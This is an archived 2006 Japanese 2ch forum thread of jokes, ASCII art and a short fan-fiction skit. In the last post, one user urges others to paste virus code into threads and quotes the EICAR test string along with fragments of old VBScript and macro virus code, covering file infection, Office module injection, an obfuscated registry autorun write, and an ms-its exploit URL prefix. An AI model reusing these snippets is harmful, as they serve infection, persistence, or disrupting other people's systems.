1 :
以下、名無しにかわりましてVIPがお送りします:
名前:ξミヽ( ・∀・)ノξ◆worRE2unko
紹介文:★丸秘データ
髪型 サラサラの黒髪で少し猫っ毛
顔 上原多香に似てないって言われます♪
性感帯 ひ☆み☆つ
趣味 乗馬 ピアノ フルート ポエム
毎日花壇に水をあげている純情可憐で吉祥寺の男子校に通う
ロマンチックなスレンダー黒髪男子高生です。
いつかオダギリジョーみたいなカッコイイ王子様が黒馬に乗って私を迎えにきてくれないかなー
なんて考えて毎日ワクワクドキドキしながら楽しくすごしています よろぴくー( ・∀・)ノ
http://mycasty.jp/worre2unko beポイント:89704
登録日:2005-07-27
2 :
以下、名無しにかわりましてVIPがお送りします:2006/02/17(金) 08:53:22.08 ID:z6zlNQad0
ヽ:: ::/ !:: :: :: :: :ミ \ ヽ::.! !:: :|:: :: :|
ヾ/ .|:: :: :: :: ゝ _ __ ヽv ヽ|-‐''!::.i、:: :: !
─wv√レ-l:: :: /~ヽ //j:::::::'.,ヽ、 ,, !:l l:: :: |─√レw─
|ハ:: ! 丶 ヽ:::::::::ノ xr,::::7ヽ|iイ:: :ハ!
l:: ! 〈 i:::::ノ イ::ハ:|
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| 三| 三シ ヾ三 |三 |
| 三′ .._ _,,.. i三 |
─w√レ─ ト、ニ| <でiンヽ ;'i"ィでiン |三.|─v─w√レ─
', iヽ! 、 ‐' / !、 ーシ |シ,イ
i,ヽリ ,' : !. |f ノ
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─w√レ─ | | | / /::::::::丶 /::::_|ハ l |─v─w√レ─
| 」 | / {:::::::::::::| l::::::::l i ハ/ |
| / | | ヽニニソ lr-‐ソ i ハ |
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: : : : : : : : : : :_ -. . . .|. . . / .`_ヽ_、 _ゝハイ
: : : : : : : : :/. . . . . ..!. / , ク::::::::::iヽ ´__ l..!
: : : : : : :/. . . . . . . ..|' / l:::::::::::::! イ:::i、!..! ─√レ─wv─w√レ─
: : : : :/. . . . . . . . . . ! ,r ヽ - '' - 、 l:::::l l. l
: : : ,.'. . . . . . . . . . . . .l-( )‐-r''´ヽ.l
3 :
以下、名無しにかわりましてVIPがお送りします:2006/02/17(金) 08:54:03.95 ID:+HpjHQ4a0
これは友達から聞いた話なんだけど、
そいつが仕事の帰り道、新宿の下水道を
歩いてたんだ。
そしたら反対側から野人のような男が近づいてきたらしい。
最初はネアンデルタール人かと思ったらしいんだが、
よーくみてみたら、クロマニョン人だったんだって。
どうしようと友達が思ってたら、突然その野人が
「俺はまんだ。メダルはいらないし 選ばれた以上は誰にも文句は言わせない 。」
って言ってきたんだって。
これはヤバイと思った友達が、あわて食ってたピザをあたえたら
まんは帰っていたらしい。
助かったと思った友達が、まんが立ち去ったあとを見てみると、
エスが落ちてたらしい。
あの時ピザを食ってなかったら、どうなってたことか・・・って
友達は青ざめて言ってたよ。
4 :
以下、名無しにかわりましてVIPがお送りします:2006/02/17(金) 08:54:58.97 ID:g2NaH9vF0
俺「はぁ〜、今年も一個も貰えずじまいか・・・さて、帰ろう・・・」
ベッキー(以下べ)「お、おい、○○」
俺「はい、なんですか宮本先生」
べ「ちょっと、さ、頼まれ事してもらえないか」
俺「(どうせ暇だし・・・)いいですけど、なんですか」
べ「その〜、荷物を運ぶの手伝ってほしいんだ」
俺「うげぇ・・・」
べ「い、いやそうな顔をするな!先生だぞ!絶対命令なんだからな!」
俺「分かりましたよ、やればいいんでしょーやればー」
べ「・・・」
俺「これ、ここでいいですよね」
べ「お、おう」
俺(さっきから心ここにあらずって感じだな)
べ「な、なんだよ、私の顔になんかついてるのか」
俺「いえいえ別に」
べ「・・・」
俺「ふう、終わった終わった」
べ「ご苦労だったな」
俺「いえいえ暇でしたし、それじゃあ」
べ「ちょっと待て」
俺「へ?」
べ「その〜だな、お礼、といっちゃなんだが・・・ これ」
(机の引き出しをごそごそ漁り、包装された箱を渡される)
俺「なんですか、これ」
べ「ちょ、ちょこれーとだ」
俺「チョコレート?」
べ「べ、別に深い意味はないんだからな!お礼だぞ!
お前のことだからどうせ一個も貰えてないだろうからな、義理だ義理!」
俺「はぁ・・・(酷い言われようだぞ俺)」
心なしか宮本先生の頬は赤く染まっていた
5 :
以下、名無しにかわりましてVIPがお送りします:2006/02/17(金) 08:57:58.74 ID:bQIDHSQD0
もうぉ・・・
6 :
以下、名無しにかわりましてVIPがお送りします:2006/02/17(金) 08:58:14.05 ID:cs7eUdwJ0
これは友達から聞いた話なんだけど、
そいつが仕事の帰り道、新宿の下水道を
歩いてたんだ。
そしたら反対側から野人のような男が近づいてきたらしい。
最初はネアンデルタール人かと思ったらしいんだが、
よーくみてみたら、クロマニョン人だったんだって。
どうしようと友達が思ってたら、突然その野人が
「俺はまんだ。メダルはいらないし 選ばれた以上は誰にも文句は言わせない 。」
って言ってきたんだって。
これはヤバイと思った友達が、あわてて食ってたピザをあたえたら
まんは帰っていったらしい。
助かったと思った友達が、まんが立ち去ったあとを見てみると、
エスが落ちてたらしい。
あの時ピザを食ってなかったら、どうなってたことか・・・って
友達は青ざめて言ってたよ。
7 :
ξミヽ( ・∀・)ノξ ◆worRE2unko :
VIP臭い糞スレにウィルスコードを貼る運動を始めましょう
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
ms-its:mhtml:file://c:\
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_l≡_、_ |_ (
(≡´D`) ) もう黙ってねぇぜ・・・・
<__ヽyゝヽy━・
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´ lL lL